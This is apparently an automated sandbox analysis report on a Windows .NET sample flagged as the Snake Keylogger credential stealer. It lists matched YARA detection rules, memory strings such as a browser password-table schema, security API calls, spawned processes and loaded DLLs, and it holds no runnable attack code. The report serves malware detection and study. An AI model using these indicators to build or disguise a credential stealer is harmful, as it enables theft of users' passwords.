Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06589820	2_2_06589820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_065808F0	2_2_065808F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_065808E0	2_2_065808E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06585098	2_2_06585098
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_0658508A	2_2_0658508A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_0658B150	2_2_0658B150
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06585948	2_2_06585948
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06585942	2_2_06585942
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06582900	2_2_06582900
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06587900	2_2_06587900
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_065891D6	2_2_065891D6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Code function: 2_2_06581191	2_2_06581191

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1710093134.000000000320C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1709088113.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1714572943.000000000BAC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000000.1679535744.0000000000BD6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJcWm.exeF vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1713673493.0000000007A50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000000.00000002.1710598493.0000000004021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4165208883.0000000000422000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4165351139.0000000000967000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Binary or memory string: OriginalFilenameJcWm.exeF vs SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.4165208883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1710598493.00000000048EE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 7184, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4aec050.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, sCesRoL9fdy7v4Nm93.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.bac0000.4.raw.unpack, sCesRoL9fdy7v4Nm93.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, sCesRoL9fdy7v4Nm93.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a87c30.1.raw.unpack, sCesRoL9fdy7v4Nm93.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, sCesRoL9fdy7v4Nm93.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, sCesRoL9fdy7v4Nm93.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, eUt9fLwjWkj1AUhmiI.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000029BE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe, 00000002.00000002.4166196575.00000000029AF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Virustotal: Detection: 37%
Source: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	ReversingLabs: Detection: 27%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Section loaded: schannel.dll	Jump to behavior
